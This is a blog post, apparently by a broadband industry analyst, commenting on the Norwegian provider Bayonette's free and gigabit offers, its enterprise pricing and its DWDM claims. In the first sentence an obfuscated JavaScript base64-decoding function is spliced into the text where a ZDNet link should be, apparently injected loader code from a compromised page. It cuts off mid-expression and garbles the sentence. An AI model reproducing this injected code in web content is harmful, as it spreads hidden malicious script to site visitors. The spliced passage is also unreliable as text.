Gigabit at Bayonette’s Point!

 

I’ll be honest, I’d never heard of Bayonette until I read function a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oaand-free-fibre-promises-network-extension-7000021150/”>this article in ZDNet. I tend to be cautious around such announcements because while it’s relatively easy to get coverage in the tech press, it’s much harder to actually deploy a network at scale and hook customers to it.

So, Bayonette is taking a leaf off of Google's Fiber book and deploying Gigabit and free broadband. Could work, although when you don't have the Google brand backing you, I have some doubts about the effectiveness of this. In France where a number of social houses have negociated "free basic broadband" as part of their FTTH deals, the story goes that customers who subscribe to the free service never upgrade. I guess it's just the wrong kind of demographic to expect upsell from.

There are a few things that raised my eyebrows in this piece though:

  • Bayonette's basic enterprise service is also a symmetric 1Gbps connection, but priced at 2,490 NOK per month (about €309): Good luck explaining to business customers that the service they pay 5 times as much for isn't the same service consumers pay less for, honest gov'. That's a recipe for cannibalization and value destruction if ever there was one.
  • The company employs existing dark fibre, and runs its own-brand DWDM (dense wave division multiplexing) equipment on top of the fibre: OK, so they're not deploying fibre (fair enough, although I'm curious how much open dark fibre actually exists in Norway for access services), but they developed in-house DWDM. Either these guys have cracked the hardest nut to crack ever (DWDM ONTs cost a bomb which is why no one has seriously deployed them in the access market to date) or there's something I don't get here.

My gut feeling is these guys are really small, probably sub- 20k customers today (which is kind of our threshold at Diffraction Analysis for including them in the Fiber Database) but I guess I'm intrigued enough that I want to know more. If anyone from Bayonette is reading this, or if anyone reading this can put me in touch with someone from Bayonette, I'd be keen!